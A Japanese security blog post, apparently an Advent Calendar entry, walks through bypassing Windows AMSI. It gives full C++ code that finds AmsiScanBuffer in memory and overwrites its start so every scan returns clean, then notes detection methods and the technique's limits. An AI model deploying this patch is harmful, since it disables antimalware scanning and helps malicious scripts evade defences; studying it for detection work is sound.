Snoozy

1.Sleep-inducing; tedious.

amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる

amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる

この記事はIPFactoryアドベントカレンダー2020の22日目の記事です.

qiita.com

AMSIとは

docs.microsoft.com

AMSI(Windows Antimalware Scan Interface)は,Windows上で動くアプリケーションやサービスに対し,マルウェア対策プロバイダーにコンテンツを送信するためのインターフェースだ.

例えばPowerShellVBAマクロ等の入力値が悪質なコンテンツだと判定されたとき,その裏ではAMSIを通じたコンテンツのスキャンが行われている.具体的にはAMSIは以下のWindowsコンポーネントと統合されている.

公式の以下の図は,PowerShellVBScriptまたは開発者が独自に用意したコードがAMSIを呼び出し,ユーザーの入力値を検査出来ることを表している.

f:id:snoozekvn:20201223210206p:plain

引用:https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps

例えばPowerShellであれば,Amsi.dllからエクスポートされるAmsiScanBuffer,AmsiScanStrinにコンテンツを渡すことでスキャンが行われることがこの図から読み取れる.

しばらくのgooglingの後,現在AMSIスキャンをバイパスする手法の中でも,特にエクスポート関数AmsiScanBufferに注目した手法として,その引数や戻り値に注目したパッチ当てが知られていることが分かった.

https://www.contextis.com/en/blog/amsi-bypass

ここでは,上記記事を参考にしつつ,最も直感的な方法である,AmsiScanBufferへのパッチ当てによるAMSIバイパスをやってみる. 具体的には,最初にPowerShellプロセスにロードされたAmsi.dllの機能を確認したのち,AmsiScanBufferにパッチを当てることでコンテンツスキャンをバイパスしてみる.

検証に利用した環境は以下.

  • OS Name: Microsoft Windows 10 Enterprise Evaluation
  • OS Version: 10.0.19041 N/A Build 19041

AMSI機能チェック

バイパスコードを作成する前に,AMSIスキャンがどのように行われるのか確認してみる.

例えば以下のように,不審なコンテンツを実行しようとした場合,コンテンツの中身がmaliciousだと判定されブロックされてしまう.

f:id:snoozekvn:20201223210202p:plain

MSDNによると,AmsiScanBufferの関数プロトタイプは以下のようになっており,スキャン結果に関係がありそうなパラメータとして戻り値とresultが考えられる.

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

またAMSI_RESULTの定義は以下である.

f:id:snoozekvn:20201224004401p:plain

WinDbgで調査したところ,resultの値が0x0(AMSI_RESULT_CLEAN)かつ戻り値が0x0(S_OK)であれば,コンテンツの内容がクリーンなものとして判定されるようである.

f:id:snoozekvn:20201223210155p:plain

無害なコンテンツを与えた際のresultの参照先の値

f:id:snoozekvn:20201223210210p:plain

有害なコンテンツを与えた際のresultの参照先の値

また,関数のエントリー時のresultと戻り値は必ず0x0であることも分かった. したがって,関数冒頭を「xor rax rax ;ret」等のようにパッチを当てることでAMSIスキャンをバイパス出来る.

パッチコードの実装

これからamsi!AmsiScanBufferにパッチを当て,AMSIスキャンをバイパスするコードを作成する.

CreateProcessやLoadlibraryなどのように、DLLからエクスポートされる関数へのアドレスは,GetProcAddressなどを利用することによって簡単に求められる.しかし,パッチを当てる部分がDLL内部でのみ使用されるコードであった場合はどうであろうか.この場合GetProcAddressに頼ったアドレス取得では対応できない.そこでここでは,AmsiScanBufferを特定できる一意な機械語でメモリ領域を探索し,パッチを当てるアドレスを求めることにする.このようにすれば,AmsiScanBufferが将来的に内部関数として隠蔽されてしまったとしても,機械語を置き換えるだけで再利用できるコードになるはずだ.

まずAmsiScanBufferを一意に特定できる機械語を調査する.ここでは,関数の先頭数バイト分の機械語を採用することにする.

f:id:snoozekvn:20201223210159p:plain

パッチコードの処理の流れは大まかに次のようになっている.

  1. LoadLibraryを使ってAmsi.dllのベースアドレスを取得
  2. PEファイル内のOptionalHeader.SizeOfImageから,メモリ内に展開されたAmsi.dllのサイズを取得
  3. AmsiScanBufferを一意に特定できる機械語でメモリ内を検索
  4. 検索がヒットした場合,AmsiScanBufferの関数冒頭にパッチを当てる
#include<Windows.h>
#include<iostream>
using namespace std;

char patternOfAmsiScanBuffer[] = {
    0x4c, 0x8b, 0xdc,                //MOV        R11,RSP
    0x49, 0x89, 0x5b, 0x08,             //MOV        qword ptr[R11 + local_res8],RBX
    0x49, 0x89, 0x6b, 0x10,             //MOV        qword ptr[R11 + local_res10],RBP
    0x49, 0x89, 0x73, 0x18,             //MOV        qword ptr[R11 + local_res18],RSI
    0x57,                      //PUSH       RDI
    0x41, 0x56,                   //PUSH       R14
    0x41, 0x57,                   //PUSH       R15
    0x48, 0x83, 0xEC, 0x70                        //SUB        RSP,0x70

};

char patternOfPatch[] = {
    0x48, 0x31, 0xc0,                //XOR RAX,RAX
    0xc3                                               //RET
};

PVOID FindPattern(char* startAddress, char* patternBuff, SIZE_T patternSize, SIZE_T searchBytes)
{
    unsigned int i = 0;
    do
    {
        if (startAddress[i] == patternBuff[0])
        {
            for (size_t j = 1; j < patternSize; j++)
            {
                if (patternBuff[j] != startAddress[i + j])
                    break;

                if (j == patternSize - 1)
                {
                    return (LPVOID)(&startAddress[i]);
                }
            }
        }
        ++i;
    } while (i < searchBytes);

    return (PVOID)NULL;
}

int main() {

    HMODULE hAmsi = LoadLibraryExA("amsi.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
    if (hAmsi == NULL) {
        cout << "[-]Failed to get the base addr" << endl;
    }
    cout << "[+]Amsi.dll base addr: " << hAmsi << endl;

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hAmsi;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)hAmsi + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;
    cout << "[+]SizeOfImage: " << sizeOfImage << endl;

    PVOID addressOfAmsiScanBuffer = FindPattern((char*)hAmsi, patternOfAmsiScanBuffer, sizeof(patternOfAmsiScanBuffer), sizeOfImage);

    if(addressOfAmsiScanBuffer == NULL){
        cout << "[-]Failed to get the pattern addr" << endl;
        return 0;
    }
    cout << "[+]addressOfAmsiScanBuffer: " << addressOfAmsiScanBuffer << endl;
    
    DWORD oldProtect = NULL;
    DWORD newProtect = PAGE_EXECUTE_READWRITE;
    VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), newProtect, &oldProtect);

    SIZE_T lpNumberOfBytesWritten = 0;
    if (!WriteProcessMemory(GetCurrentProcess(), addressOfAmsiScanBuffer, patternOfPatch, sizeof(patternOfPatch), &lpNumberOfBytesWritten)) {
        cout << "[-]Failed to patch the memory" << endl;
        return 0;
    }
    cout << "[+]Successful patched!!" << endl;
    cout << "[+]AMSI scan hash been disabled!!" << endl;

    VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), oldProtect, &newProtect);
    CloseHandle(hAmsi);
    return 0;
}

実験

www.youtube.com

終わりに

この記事で行ったような,Amsi.dllに対するパッチによりスキャンをバイパスしようとする試みは既に多くの記事が公開されており,本稿はそれらを手本に作成された.このようなAmsi.dllに対するパッチの検知手法としては,メモリ内のネイティブコードのチェックやハッシュ値によるコード領域の改ざんチェックなどが考えられる.

実験では,メモリ内に有害なコンテンツが読み込まれたところで終わっているが,実際にはこの先の処理に進もうとするとWindows Defenderに検知されてしまう.この記事で紹介した内容は,銀の弾丸はおろか本質的にAMSIをバイパスできるものではなく,またアンマネージドコード等の理由からモダンな手法ともいえず優位性は高くないだろう.

参考

https://www.contextis.com/en/blog/amsi-bypass

https://blog.f-secure.com/hunting-for-amsi-bypasses/

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/

https://securityblog.jp/securityanalyst/contents/100108.php